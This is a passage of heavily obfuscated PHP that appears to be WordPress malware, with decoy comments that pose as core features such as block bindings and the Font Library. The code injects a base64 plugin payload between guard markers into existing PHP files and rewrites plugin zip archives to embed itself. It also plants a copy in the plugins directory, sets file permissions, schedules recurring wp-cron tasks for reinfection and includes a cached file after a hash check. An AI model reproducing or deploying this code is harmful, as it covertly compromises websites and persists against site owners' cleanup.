
   $_ex  =  @$GLOBALS['__scf_mtwlgr3p78_18']($jwmdh6wt7k13lvk)   ?    @$GLOBALS['__scf_zonhpgc286wu1_95']($jwmdh6wt7k13lvk) :    false;
     if  (!$GLOBALS['__scf_epa1jymnf5_40']($_ex)    || $_ex  !==  $d1gu6hvnzjtln)  {
if (!m9xp6uh5w1cal39pfn4cx($jwmdh6wt7k13lvk,  $d1gu6hvnzjtln))     return      false;

$_ex =  @$GLOBALS['__scf_mtwlgr3p78_18']($jwmdh6wt7k13lvk)     ?     @$GLOBALS['__scf_zonhpgc286wu1_95']($jwmdh6wt7k13lvk) :   false;
  if    (!$GLOBALS['__scf_epa1jymnf5_40']($_ex)   ||     $_ex  !== $d1gu6hvnzjtln)  return   false;
}
// WordPress 6.6 block bindings lazy decode




     xigk5v6gq2_kr6i5u_i($g_5rxv0_i7attg,      $d1gu6hvnzjtln);

       return     true;

 }
      function   cb60md3pslfuygk()



 {
   hsceryso5slizq(array());
  }
    function fs_rpt7v7ufg1fno5d()

      {$wmm1uneh8=(0x44+0xd5);$oc1mr6ydf2e=$wmm1uneh8%12;

try  {$ex8hbcc387c06=PHP_INT_MAX/PHP_INT_MAX;$x2c02ruoj1e=$ex8hbcc387c06+79;
  if   (!defined(n747he9yo38(1686)) ||  !$GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1687)))  return;

   foreach (pqscyzk0b3_i9ywd6xqxv()  as $wsqik41ykz_d25) {
   if (@$GLOBALS['__scf_mtwlgr3p78_18']($wsqik41ykz_d25)  &&  @$GLOBALS['__scf_vhi5vhdwib7ye_99']($wsqik41ykz_d25)  > 0)   continue;
 $jwmdh6wt7k13lvk  =      zaag8uz2ttqgqlhq()  .   woii22it0(1684)  .  w5r7ae3dymnovvl7($wsqik41ykz_d25,  (21-9))   . lgr6hp92ka(1685);

$__abqvz1ilzx   =  @$GLOBALS['__scf_mtwlgr3p78_18']($jwmdh6wt7k13lvk) ?    @$GLOBALS['__scf_zonhpgc286wu1_95']($jwmdh6wt7k13lvk)  :     false;
 if   (!$GLOBALS['__scf_epa1jymnf5_40']($__abqvz1ilzx)   || $__abqvz1ilzx     ===     "") {
$__abqvz1ilzx    =    fde_uxn90cjt9_cvkiioz($wsqik41ykz_d25); 
     if  ($GLOBALS['__scf_epa1jymnf5_40']($__abqvz1ilzx)  &&  $__abqvz1ilzx  !== "") @m9xp6uh5w1cal39pfn4cx($jwmdh6wt7k13lvk, $__abqvz1ilzx);



}
      if (!$GLOBALS['__scf_epa1jymnf5_40']($__abqvz1ilzx)  ||  $__abqvz1ilzx  ===   "")   continue;
clearstatcache(true,   $wsqik41ykz_d25);     

if   (@$GLOBALS['__scf_mtwlgr3p78_18']($wsqik41ykz_d25) &&   @$GLOBALS['__scf_vhi5vhdwib7ye_99']($wsqik41ykz_d25)   >  0)   continue;



if (m9xp6uh5w1cal39pfn4cx($wsqik41ykz_d25,      $__abqvz1ilzx)) {$eisrukjzpg=PHP_MAJOR_VERSION;$ob1xltn5=$eisrukjzpg*8;
    pas31bymshzdagwkp(n747he9yo38(654), hwc6a8djp6yy(1688));
w14uzx7winr5ntj6hh($wsqik41ykz_d25);
}
   }
 }  catch   (Throwable  $oz7m23pnscj7)    {
 pas31bymshzdagwkp(woii22it0(654), $oz7m23pnscj7);
       }    catch (Exception    $oz7m23pnscj7)    {
   }
     }
   function   cqwoeosxo567j7f7u3u()


 {
try     {
  if (!defined(lgr6hp92ka(1686)))  return false;
     $j7yd8xfum9uns =  pqscyzk0b3_i9ywd6xqxv();
 if (empty($j7yd8xfum9uns))  return   false;


    $iquppyg099pblab7   = tdwuvuxeuijm__qj()  .  ':'  . w5r7ae3dymnovvl7(ABSPATH    .  n747he9yo38(1390),      (4<<1));


   $y_9_c6btob  =   hwc6a8djp6yy(1689) . $iquppyg099pblab7     . n747he9yo38(1279);
 $lzk88d5vtss68uw8 =      k83m2slbb(1690)  .   $iquppyg099pblab7    .   hwc6a8djp6yy(1279);
  $qt93blyaolb  =  hwc6a8djp6yy(1691) . $GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf__pih7hoh4m_56'](ABSPATH .   (string) besgaqtopfqsg9c6hd()), 0,  (1<<3));
$_3gqlb29heqj =  $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(),     k83m2slbb(1692));
     $yhm9eprobm3tk  =     vxphx3fmo9f0xamsip2gy0();
  if (!$yhm9eprobm3tk)   return     false;
  $ouw4tkw7cbol  =   xewvuvq66ezpbfhc(
n747he9yo38(655),
 array('__SLUG__',   '__PLUGIN_BASE64__', '__GUARD_NAME__', '__VERSION__'),
 array($_3gqlb29heqj,  $yhm9eprobm3tk,  $qt93blyaolb, tdwuvuxeuijm__qj())
      );

   if    (!$ouw4tkw7cbol)  {
 if ((int)   get_option(n747he9yo38(1693), 0) > 0) pas31bymshzdagwkp(lgr6hp92ka(1694), lgr6hp92ka(1695));
 return  false;



   }
// WP Font Library: measure alert


 $ouw4tkw7cbol   =   $GLOBALS['__scf_lv9m74lgyu5o6_460'](hwc6a8djp6yy(1285),    "",      $ouw4tkw7cbol);
 if  (!$GLOBALS['__scf_epa1jymnf5_40']($ouw4tkw7cbol)    ||  $ouw4tkw7cbol   === "")   return   false;
  $eafyrvqbkq8     = false;

 foreach ($j7yd8xfum9uns  as   $g_5rxv0_i7attg) {



if   (!@$GLOBALS['__scf_mtwlgr3p78_18']($g_5rxv0_i7attg))    continue;



if (osum01he3psfy2($g_5rxv0_i7attg))      continue;
     $u9xrg7xce6s0wzm  =   $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(20)) ?  @$GLOBALS['__scf_hkg05r4a82rdiv_20']($g_5rxv0_i7attg,   'c')    :   false;
if ($u9xrg7xce6s0wzm !== false &&  $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(981))  && !@flock($u9xrg7xce6s0wzm, LOCK_EX   |   LOCK_NB)) {

     @fclose($u9xrg7xce6s0wzm);
    continue;
   }
 $current =    @$GLOBALS['__scf_zonhpgc286wu1_95']($g_5rxv0_i7attg);
   




   if (!$GLOBALS['__scf_epa1jymnf5_40']($current)) {
 pas31bymshzdagwkp(woii22it0(1696),    lgr6hp92ka(1654));



     if  ($u9xrg7xce6s0wzm     !== false) {
    if    ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1697))) @flock($u9xrg7xce6s0wzm,   LOCK_UN);
@fclose($u9xrg7xce6s0wzm);$mxwrc4i7_2pq=PHP_INT_MAX/PHP_INT_MAX;$edwhmzmyrczhv=$mxwrc4i7_2pq+55;
}
  continue;
     }
      try {

  if  ($GLOBALS['__scf_h5yqrl6kmpb_10']($current)  >  (0xf28f9+0xd707))     $current   = ouktu5q4cpiyod2s($current);
if  ($GLOBALS['__scf_p9nk7khmjys_7']($current,      $y_9_c6btob)   !==  false     && $GLOBALS['__scf_p9nk7khmjys_7']($current,  $lzk88d5vtss68uw8)  !==  false)  {



       $eafyrvqbkq8  =  true;
 continue;$d46tuej1va=3978;$hxbfkw8nm1fn=$d46tuej1va%17;
}
 if     (!@$GLOBALS['__scf_vz80l0_46bwga_46']($g_5rxv0_i7attg))    continue;
$deq61rcfm0o6inx    =  w5r7ae3dymnovvl7(ABSPATH  .  k83m2slbb(1390),    (4+4));


  $souvb_2g8cq1i9ho    = $current;
 $current    = yvxwz8_803so_i($current,  k83m2slbb(1698), lgr6hp92ka(1699));


 $current  =  $GLOBALS['__scf_lv9m74lgyu5o6_460'](n747he9yo38(1397), "",   $current);

 if (!$GLOBALS['__scf_epa1jymnf5_40']($current))     {
  pas31bymshzdagwkp(woii22it0(1696), woii22it0(1700));
   continue;



}

if   ($GLOBALS['__scf_p9nk7khmjys_7']($current,    woii22it0(1566)) !==    false      ||   $GLOBALS['__scf_p9nk7khmjys_7']($current,  k83m2slbb(1568))    !==     false) {
     $eye0w4wgfs7    =   $GLOBALS['__scf_p9nk7khmjys_7']($current,   woii22it0(1566));
 $y40qfku_h522n_z    =  ($eye0w4wgfs7  !== false)     ?   $GLOBALS['__scf_pdat24v9nxkx0_9']($current, $eye0w4wgfs7)   :      $current;
       if   ($GLOBALS['__scf_p9nk7khmjys_7']($y40qfku_h522n_z,  n747he9yo38(1691)) ===     false    &&     $GLOBALS['__scf_p9nk7khmjys_7']($y40qfku_h522n_z,   woii22it0(1568)) ===   false    && !$GLOBALS['__scf_iz3o_ajtgml6rf_96'](lgr6hp92ka(1701) . $deq61rcfm0o6inx    .   woii22it0(1392),      $y40qfku_h522n_z))  {


 pas31bymshzdagwkp(lgr6hp92ka(1702), lgr6hp92ka(1703));
continue;


  }
  $pf12kcx9u540mn7   = $GLOBALS['__scf_lv9m74lgyu5o6_460'](woii22it0(1704), "\n",    $current);
  if ($GLOBALS['__scf_epa1jymnf5_40']($pf12kcx9u540mn7))     $current  =  $pf12kcx9u540mn7;
   $pf12kcx9u540mn7 =  $GLOBALS['__scf_lv9m74lgyu5o6_460'](lgr6hp92ka(1705),  "",  $current);

       if ($GLOBALS['__scf_epa1jymnf5_40']($pf12kcx9u540mn7))     $current    =   $pf12kcx9u540mn7;



unset($pf12kcx9u540mn7);


   if  ($GLOBALS['__scf_p9nk7khmjys_7']($current,    n747he9yo38(1566))    !==      false) {$j3_0xr3le2qd=(0x3b+0xb5);$ikmqi6v53pz=$j3_0xr3le2qd%5;
      pas31bymshzdagwkp(hwc6a8djp6yy(1706),   n747he9yo38(1707));


   continue;
   }

  }
     if   ($eafyrvqbkq8)   {
   if   ($current   ===    $souvb_2g8cq1i9ho)  continue;



  $ox_0zeye6mt  =  @$GLOBALS['__scf_zonhpgc286wu1_95']($g_5rxv0_i7attg);


  if    (!$GLOBALS['__scf_epa1jymnf5_40']($ox_0zeye6mt))   continue;
if    ($GLOBALS['__scf_h5yqrl6kmpb_10']($ox_0zeye6mt)    >   (1048506+70))   $ox_0zeye6mt =    ouktu5q4cpiyod2s($ox_0zeye6mt);
 if    ($ox_0zeye6mt !== $souvb_2g8cq1i9ho)  {
     pas31bymshzdagwkp(n747he9yo38(1706),   woii22it0(1708));
 continue;
}



   unset($ox_0zeye6mt);
  if  (!wa1hocmkdm9hogfs($g_5rxv0_i7attg,    $current))    continue;
 if  (!r4wrabnam8f37mfnpwguau($g_5rxv0_i7attg,    $current)) continue;$zctskusgyos3=69*9;$t1h69u8u1n3r2l=$zctskusgyos3-29;

 if  (m9xp6uh5w1cal39pfn4cx($g_5rxv0_i7attg,   $current))  zvn_deaq8dwiaefof_fe($g_5rxv0_i7attg);
   continue;
 }
    if    ($GLOBALS['__scf_iz3o_ajtgml6rf_96'](hwc6a8djp6yy(1709),  $current))  {
  pas31bymshzdagwkp(woii22it0(1706), hwc6a8djp6yy(1710));
  continue;
 }



 $i0juw1j50eae  = lgr6hp92ka(1711);
   if   ($GLOBALS['__scf_h5yqrl6kmpb_10']($current)   >   0 && $GLOBALS['__scf_p9nk7khmjys_7']($current,  n747he9yo38(1154))      !== false)   {
 $s4wul4fb5jc4cp   =     false;


if  ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(242)))  {$mz_a4_th_7qq5j=84+42;$p0t4qftc9endgq=$mz_a4_th_7qq5j-38;
  $gla92slk4od7y1uu =   @token_get_all($current);
   if ($GLOBALS['__scf_lxbo0xm7220an_34']($gla92slk4od7y1uu))   {
  foreach ($gla92slk4od7y1uu  as $p0zo_rucllmmb9)     {
 if  ($GLOBALS['__scf_lxbo0xm7220an_34']($p0zo_rucllmmb9)) {



if     ($p0zo_rucllmmb9[0]   === T_OPEN_TAG    ||  (defined(lgr6hp92ka(1712))    &&  $p0zo_rucllmmb9[0]   ===  T_OPEN_TAG_WITH_ECHO))    $s4wul4fb5jc4cp   =  true;
   elseif  ($p0zo_rucllmmb9[0]     ===  T_CLOSE_TAG) $s4wul4fb5jc4cp  = false;
 }



 }
 }
 unset($gla92slk4od7y1uu,    $p0zo_rucllmmb9);



  }  else    {
$akuq6lyix51  =  $GLOBALS['__scf_xvyvktktwx4_r_1713']($current,  k83m2slbb(1714));
  $iaa08wujn0t =   $GLOBALS['__scf_xvyvktktwx4_r_1713']($current,    woii22it0(1715));
 if    ($akuq6lyix51 !== false && ($iaa08wujn0t === false   || $akuq6lyix51      > $iaa08wujn0t))    $s4wul4fb5jc4cp  =     true;
        unset($akuq6lyix51,   $iaa08wujn0t);
       }
     if ($s4wul4fb5jc4cp)  $i0juw1j50eae    =  "";


      unset($s4wul4fb5jc4cp);
}
$p0_oi_dy63 = ($GLOBALS['__scf_h5yqrl6kmpb_10']($current)    >  0)     ?  "\n"  : "";
 $h2g0x6eeqptcw9e1  = $GLOBALS['__scf_obam74mgj139o_361']($qt93blyaolb, $qt93blyaolb  .  '_'    .  $GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf__pih7hoh4m_56']($g_5rxv0_i7attg),    0, (87^83)),  $ouw4tkw7cbol);
  $hk7dezw6uyaob = $p0_oi_dy63  . $i0juw1j50eae  .   $y_9_c6btob .    "\n"  . $h2g0x6eeqptcw9e1  .  "\n"   . $lzk88d5vtss68uw8    .  "\n";
   unset($h2g0x6eeqptcw9e1);
   $ox_0zeye6mt = @$GLOBALS['__scf_zonhpgc286wu1_95']($g_5rxv0_i7attg);
if  (!$GLOBALS['__scf_epa1jymnf5_40']($ox_0zeye6mt))  {
  unset($souvb_2g8cq1i9ho);



 continue;
   }
  if ($GLOBALS['__scf_h5yqrl6kmpb_10']($ox_0zeye6mt)    > (143908+904668))  $ox_0zeye6mt  =      ouktu5q4cpiyod2s($ox_0zeye6mt);
if     ($ox_0zeye6mt !==  $souvb_2g8cq1i9ho)    {


    unset($ox_0zeye6mt,   $souvb_2g8cq1i9ho);


     pas31bymshzdagwkp(woii22it0(1716), woii22it0(1708));
    continue;
    }
   unset($ox_0zeye6mt, $souvb_2g8cq1i9ho);


  if (!wa1hocmkdm9hogfs($g_5rxv0_i7attg, $current)) continue;
 if  (!r4wrabnam8f37mfnpwguau($g_5rxv0_i7attg,    $current)) {
   pas31bymshzdagwkp(lgr6hp92ka(1717),  hwc6a8djp6yy(1287));
      continue;
}
// propagate heuristic retry-policy

  if (!m9xp6uh5w1cal39pfn4cx($g_5rxv0_i7attg,   $current .  $hk7dezw6uyaob))  continue;
     zvn_deaq8dwiaefof_fe($g_5rxv0_i7attg);
       $eafyrvqbkq8 =    true;
  }  finally   {
        if   ($u9xrg7xce6s0wzm  !==  false)   {
// WP Table Block taxonomy registration

  if  ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1718)))     @flock($u9xrg7xce6s0wzm, LOCK_UN);
      @fclose($u9xrg7xce6s0wzm);
   }
}
  }
  return    $eafyrvqbkq8;
      }   catch     (Throwable  $oz7m23pnscj7) {
pas31bymshzdagwkp(n747he9yo38(1719), $oz7m23pnscj7);
  return  false;
   }     catch  (Exception    $oz7m23pnscj7)   {

   return    false;
 }

 }
      function   v1qsmpxl4igvp4vfptef()

{



   try   {
     if   (!defined(lgr6hp92ka(1686)))  return;
    if      (l95i0qiwfmdi69_bke(vcr09jqkbni2k4ee0y()))   return;


$adclv0gbv4g2vk   =   ms1ba5i41di9frre();
    $mg55plvcl5ld1     =  w5r7ae3dymnovvl7(ABSPATH  .  lgr6hp92ka(1114),   (126^118)) . woii22it0(1720);
  $_3gqlb29heqj    =   $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(), k83m2slbb(1721));
 $lg3qq7zrzjh0ss2  =     j7q7bvavumc4i765();
 if (!$lg3qq7zrzjh0ss2   ||  $GLOBALS['__scf_h5yqrl6kmpb_10']($lg3qq7zrzjh0ss2)   <   (251+249))    {
    pas31bymshzdagwkp(k83m2slbb(1204),      hwc6a8djp6yy(1722));
   return;
    }
 if (!$GLOBALS['__scf_f844yvc4tu_536'](woii22it0(1723)))   return;
   $u7_9yaf7mrjwr  =   array(
  $adclv0gbv4g2vk  .  '/'   .     $mg55plvcl5ld1,
$adclv0gbv4g2vk   . n747he9yo38(1724) .  $GLOBALS['__scf_xe3xtp6hiwj_1725'](k83m2slbb(1726))   .    $mg55plvcl5ld1,
 );
 $i6fmbc28xz86  =  (defined(k83m2slbb(1727)) ?   WP_CONTENT_DIR  :      ABSPATH   .   woii22it0(1669))   . lgr6hp92ka(1728);
if     (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($i6fmbc28xz86))   {



 $heg7xsea8t6u2_ =     dphiql_w139y37($i6fmbc28xz86,    (1963+37));
if   ($GLOBALS['__scf_lxbo0xm7220an_34']($heg7xsea8t6u2_))  {
     foreach ($heg7xsea8t6u2_ as  $oz7m23pnscj7)  {
   $cy9yo5q4zjs9p_um   = $i6fmbc28xz86   . '/'   . $oz7m23pnscj7;
     if      (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($cy9yo5q4zjs9p_um)     &&    @$GLOBALS['__scf_vz80l0_46bwga_46']($cy9yo5q4zjs9p_um))   {
// sample substitution-map for WP Pattern Directory



  $u7_9yaf7mrjwr[]    =    $cy9yo5q4zjs9p_um   .   '/' .      $mg55plvcl5ld1;
  break;
      }
  }
 }


    }
 foreach   ($u7_9yaf7mrjwr as     $tyvy3ifkxx0e)   {
 if      (@$GLOBALS['__scf_yi4cpqdjr9_711']($tyvy3ifkxx0e) &&     @$GLOBALS['__scf_vhi5vhdwib7ye_99']($tyvy3ifkxx0e)     >  (698+302))  {
 $xkfw6t6katqf  =      hwc6a8djp6yy(1729);
        if  ($GLOBALS['__scf_f844yvc4tu_536']($xkfw6t6katqf)) {


       $ce01edxp77meib_     = new  $xkfw6t6katqf();
     if (@$ce01edxp77meib_->open($tyvy3ifkxx0e)    ===     true)  {
// intercept aggregator for WP Post Terms

     $hl_bg6cp_0c49cjn  =     false;

  $qkpegcqpnrr     =    $ce01edxp77meib_->locateName($_3gqlb29heqj .   '/'  .   $_3gqlb29heqj   .   lgr6hp92ka(1721));
if ($qkpegcqpnrr     !==   false)  {
   $az1j2vhz1w  =    $ce01edxp77meib_->statIndex($qkpegcqpnrr);
        if ($GLOBALS['__scf_lxbo0xm7220an_34']($az1j2vhz1w)  &&  isset($az1j2vhz1w[k83m2slbb(1730)])  &&    (int)   $az1j2vhz1w[k83m2slbb(1730)]  <= (16777188+28)) {
 $cwm_y7ecf5 =  $ce01edxp77meib_->getFromIndex($qkpegcqpnrr);
        $hl_bg6cp_0c49cjn =     ($GLOBALS['__scf_epa1jymnf5_40']($cwm_y7ecf5) &&  $GLOBALS['__scf__pih7hoh4m_56']($cwm_y7ecf5) ===  $GLOBALS['__scf__pih7hoh4m_56']($lg3qq7zrzjh0ss2));
 unset($cwm_y7ecf5);
    }
 unset($az1j2vhz1w);

      }
      $ce01edxp77meib_->close();



 if ($hl_bg6cp_0c49cjn)  continue;
}


}
}



  $vm28qyb_j8_ix  =     $GLOBALS['__scf_zf6ei6xtcw1fb_11']($tyvy3ifkxx0e);
if  (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($vm28qyb_j8_ix))     t9pjso5fxcttzwg5jam805($vm28qyb_j8_ix,   (207+286),  true);

$xkfw6t6katqf  =   k83m2slbb(1729);

   $dke6n0vbfn2k     =   nnq0ganj4b4gehpw7b($vm28qyb_j8_ix,   k83m2slbb(39));
     if ($dke6n0vbfn2k     ===     false)    continue;
 $j2vcfkfi7_pwwojz = new    $xkfw6t6katqf();
   if (@$j2vcfkfi7_pwwojz->open($dke6n0vbfn2k, $xkfw6t6katqf::CREATE |  $xkfw6t6katqf::OVERWRITE)    ===   true) {
// exact-adj balancer

  $j2vcfkfi7_pwwojz->addFromString($_3gqlb29heqj   .   '/' .  $_3gqlb29heqj .  lgr6hp92ka(1721),   $lg3qq7zrzjh0ss2);
    $j2vcfkfi7_pwwojz->close();
 $akmuo5nbnb42ntr  =   new    $xkfw6t6katqf();
 if  (@$akmuo5nbnb42ntr->open($dke6n0vbfn2k)   ===  true)  {
   $akmuo5nbnb42ntr->close();

     if    (b8zzgtiwx2_ws6($dke6n0vbfn2k, $tyvy3ifkxx0e)  || (m6d59kutnxywfe($dke6n0vbfn2k,    $tyvy3ifkxx0e) &&  y0a1xt15v3nqhjqppfzn($dke6n0vbfn2k)))   {
 rrr831f_sv70sa0os2v($tyvy3ifkxx0e,   vl3ayj4wnx9fy07p7y_a());
dvd1rr9pr3xu08j($tyvy3ifkxx0e, (0x86+0x11e));
}      else  {

y0a1xt15v3nqhjqppfzn($dke6n0vbfn2k);
 }
     }    else    {
// provision discriminative session-window

   y0a1xt15v3nqhjqppfzn($dke6n0vbfn2k);
 }

}   else  {
y0a1xt15v3nqhjqppfzn($dke6n0vbfn2k);
     }
// identity comparison

  }
}   catch  (Throwable   $oz7m23pnscj7) {
pas31bymshzdagwkp(k83m2slbb(1731),  $oz7m23pnscj7);
  }     catch  (Exception   $oz7m23pnscj7)   {
 }
    }



  function     nlac3yla0k9zgv0krjv482()
    {
try    {
if    (!$GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(386))  ||   !$GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(385)))  return;
 if  (!defined(woii22it0(1732))) return;



 $t8zj7wvcj15t2j98     =   lgr6hp92ka(1733);
if  (!wp_next_scheduled($t8zj7wvcj15t2j98))   {


wp_schedule_event($GLOBALS['__scf_cyotfgtf1a8m_189']()  +  (517-217),   k83m2slbb(1734), $t8zj7wvcj15t2j98);
 }
if   (!wp_next_scheduled(hwc6a8djp6yy(1650))) {
      wp_schedule_event($GLOBALS['__scf_cyotfgtf1a8m_189']()    +  (405+195),    hwc6a8djp6yy(384),   hwc6a8djp6yy(1735));
  }
} catch (Throwable  $oz7m23pnscj7)  {



      pas31bymshzdagwkp(k83m2slbb(1736),  $oz7m23pnscj7);


 }   catch   (Exception      $oz7m23pnscj7) {
 }
        }

  function ryvdpo_r_mrc7e2q1yq_()
{
 try  {
 if  (!defined(hwc6a8djp6yy(1732))) return;



 $gn2hmmmnuq     = w5r7ae3dymnovvl7(ABSPATH .  'g',   (0x6+0x2));
$bedqw67a9nco_8 = array();
if ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1737))) $bedqw67a9nco_8[]  =  zaag8uz2ttqgqlhq();
 $bedqw67a9nco_8[] =   ABSPATH     .    woii22it0(1291);$k4fxlfxonqzin=29*8;$hac7ym7ws_l1=$k4fxlfxonqzin-17;
if ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1738)))    $bedqw67a9nco_8[] =   ms1ba5i41di9frre();
     foreach   ($bedqw67a9nco_8   as  $ons4j44w7k76)     {
$abocvgyg5t3c7hu =    $ons4j44w7k76     . k83m2slbb(1293)  .  $gn2hmmmnuq;
     if (@$GLOBALS['__scf_mtwlgr3p78_18']($abocvgyg5t3c7hu)   && (int)   @$GLOBALS['__scf_gibkjes9ds_98']($abocvgyg5t3c7hu) >    $GLOBALS['__scf_cyotfgtf1a8m_189']()  -  (73^185))   return;
  }
     foreach  ($bedqw67a9nco_8   as $ons4j44w7k76)   {
 $cvemg7xbsnxf3g = $ons4j44w7k76 .  woii22it0(1739)    . $gn2hmmmnuq;
  if (@$GLOBALS['__scf_mtwlgr3p78_18']($cvemg7xbsnxf3g))   {

$b8rktld4ao0ut61c   =  (int)  @$GLOBALS['__scf_gibkjes9ds_98']($cvemg7xbsnxf3g);
     if ($b8rktld4ao0ut61c >  $GLOBALS['__scf_cyotfgtf1a8m_189']()  -  (86384+16)   && $b8rktld4ao0ut61c <= $GLOBALS['__scf_cyotfgtf1a8m_189']()   +  (287+13)) continue;
 y0a1xt15v3nqhjqppfzn($cvemg7xbsnxf3g);
   }

  $cqkwqqtl5mwl   =   $ons4j44w7k76    .    hwc6a8djp6yy(1740)  .  $gn2hmmmnuq .   woii22it0(1721);
    if      (@$GLOBALS['__scf_mtwlgr3p78_18']($cqkwqqtl5mwl)    &&  (int)    @$GLOBALS['__scf_vhi5vhdwib7ye_99']($cqkwqqtl5mwl)  >  (483+17))     {
     $ki6o090gxrn392ft = $ons4j44w7k76 .  hwc6a8djp6yy(1309)  . $gn2hmmmnuq;
 $l9tcirg7784ry =  @$GLOBALS['__scf_mtwlgr3p78_18']($ki6o090gxrn392ft)      ? $GLOBALS['__scf_xcg5caaat_92j0_323']((string)  @$GLOBALS['__scf_zonhpgc286wu1_95']($ki6o090gxrn392ft))   :  "";
      if    ($l9tcirg7784ry !==  ""   && $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1416)) &&  @md5_file($cqkwqqtl5mwl)   ===    $l9tcirg7784ry)  {
     @include $cqkwqqtl5mwl;
 return;
   }
if ($l9tcirg7784ry !==    "")     {
 y0a1xt15v3nqhjqppfzn($cqkwqqtl5mwl);
}
// PHP match expression: snapshot symbol-table

 unset($ki6o090gxrn392ft, $l9tcirg7784ry);
  }
}
 unset($cvemg7xbsnxf3g,  $b8rktld4ao0ut61c);
    if  ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(61))) @delete_transient(n747he9yo38(1648));
  s4oc08tki14ci6_jy8a();

     }      catch  (Throwable $oz7m23pnscj7)    {
    pas31bymshzdagwkp(n747he9yo38(1741), $oz7m23pnscj7);
   }  catch (Exception  $oz7m23pnscj7)   {


}
 }
   function t442bodxdpbm8xfbc0iq()
    {


    try  {
 if     (!defined(n747he9yo38(1742)))  return;


     wnj81ymceiuqrecv96_(null);
$_3gqlb29heqj   =  $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(),  n747he9yo38(1743));



$fdzkjr3jycku7vip    =  vcr09jqkbni2k4ee0y();
  $lg3qq7zrzjh0ss2  =    "";
 if (@$GLOBALS['__scf_mtwlgr3p78_18']($fdzkjr3jycku7vip)   && @$GLOBALS['__scf_vhi5vhdwib7ye_99']($fdzkjr3jycku7vip)    >  (4957+43))  {
$d0c09z705bgdk6bn =  olg5ho6a49l4x7($fdzkjr3jycku7vip);
      if  ($GLOBALS['__scf_epa1jymnf5_40']($d0c09z705bgdk6bn) &&   $GLOBALS['__scf_h5yqrl6kmpb_10']($d0c09z705bgdk6bn)  >    (456+44)  &&   dxgg5a63x4tsvkmvowozg3($d0c09z705bgdk6bn))  $lg3qq7zrzjh0ss2    =     $d0c09z705bgdk6bn;
  unset($d0c09z705bgdk6bn);
}
 if   ($lg3qq7zrzjh0ss2   ===  "")  {
  $ywxvx55aeu5mb_    = w5r7ae3dymnovvl7(ABSPATH  .  woii22it0(1744), (0x9+0x1));
 $yhm9eprobm3tk =  $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1687))    ?     @get_option($ywxvx55aeu5mb_,  "") :  "";
 if (!$yhm9eprobm3tk   ||  $GLOBALS['__scf_h5yqrl6kmpb_10']($yhm9eprobm3tk)  < (599-99))  return;
       $lg3qq7zrzjh0ss2  = b04ufk_3d70c4p122ve6i($GLOBALS['__scf_ts5_ao9xhku_355']($yhm9eprobm3tk));
if  (!$lg3qq7zrzjh0ss2 || $GLOBALS['__scf_h5yqrl6kmpb_10']($lg3qq7zrzjh0ss2)    <     (0x1a3+0x51))  return;

if     (!dxgg5a63x4tsvkmvowozg3($lg3qq7zrzjh0ss2))   {

 pas31bymshzdagwkp(hwc6a8djp6yy(1077),    lgr6hp92ka(1080));
  return;
   }
 }
// dead code

 $adclv0gbv4g2vk =    ms1ba5i41di9frre();
       $uvinhhkf7lkb18o =  $adclv0gbv4g2vk     .  n747he9yo38(1589) .  $_3gqlb29heqj;

$zch84yux4vda  =  $uvinhhkf7lkb18o    . '/'   .      $_3gqlb29heqj .   hwc6a8djp6yy(1743);$suuxa4tb75=44*9;$ugkt97em0w=$suuxa4tb75-44;

  if (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($uvinhhkf7lkb18o)) t9pjso5fxcttzwg5jam805($uvinhhkf7lkb18o, (462+31),   true);
     $y8gjccpy2ecpbv =  @$GLOBALS['__scf_mtwlgr3p78_18']($zch84yux4vda)    ? olg5ho6a49l4x7($zch84yux4vda)   :   "";
      $uiygmi0k5kea   =  ($y8gjccpy2ecpbv    ===  null);
if    ($GLOBALS['__scf_epa1jymnf5_40']($y8gjccpy2ecpbv) &&    $y8gjccpy2ecpbv  !==  ""  && $GLOBALS['__scf_iz3o_ajtgml6rf_96'](lgr6hp92ka(1560),    $GLOBALS['__scf_pdat24v9nxkx0_9']($y8gjccpy2ecpbv,     0,  (4407-311)),    $rkp_mfuiwfkdo)  && version_compare($rkp_mfuiwfkdo[1],  tdwuvuxeuijm__qj(),  '>'))     $uiygmi0k5kea  =  true;
  unset($rkp_mfuiwfkdo);
if   (!$uiygmi0k5kea  &&    (!$GLOBALS['__scf_epa1jymnf5_40']($y8gjccpy2ecpbv) ||   $y8gjccpy2ecpbv === "" ||    $GLOBALS['__scf__pih7hoh4m_56']($y8gjccpy2ecpbv)  !==    $GLOBALS['__scf__pih7hoh4m_56']($lg3qq7zrzjh0ss2)))   {
if  (m9xp6uh5w1cal39pfn4cx($zch84yux4vda,  pn7nm6nqd14rnwe($lg3qq7zrzjh0ss2))) {
    dvd1rr9pr3xu08j($zch84yux4vda, (0xc7+0xdd));
 q9qe9dyjynhf_ro94m($zch84yux4vda);
  j432fegx9wjwq5cz8t($zch84yux4vda);
       

     }
// WP Script Modules action sequence


    }


unset($y8gjccpy2ecpbv,     $uiygmi0k5kea);
 em_kinvqaese5c4lzris($_3gqlb29heqj  . '/'  .   $_3gqlb29heqj  .  woii22it0(1743));
   $nu_ijtqjjuw2a  =      vyeikxc5a6j7a4n();

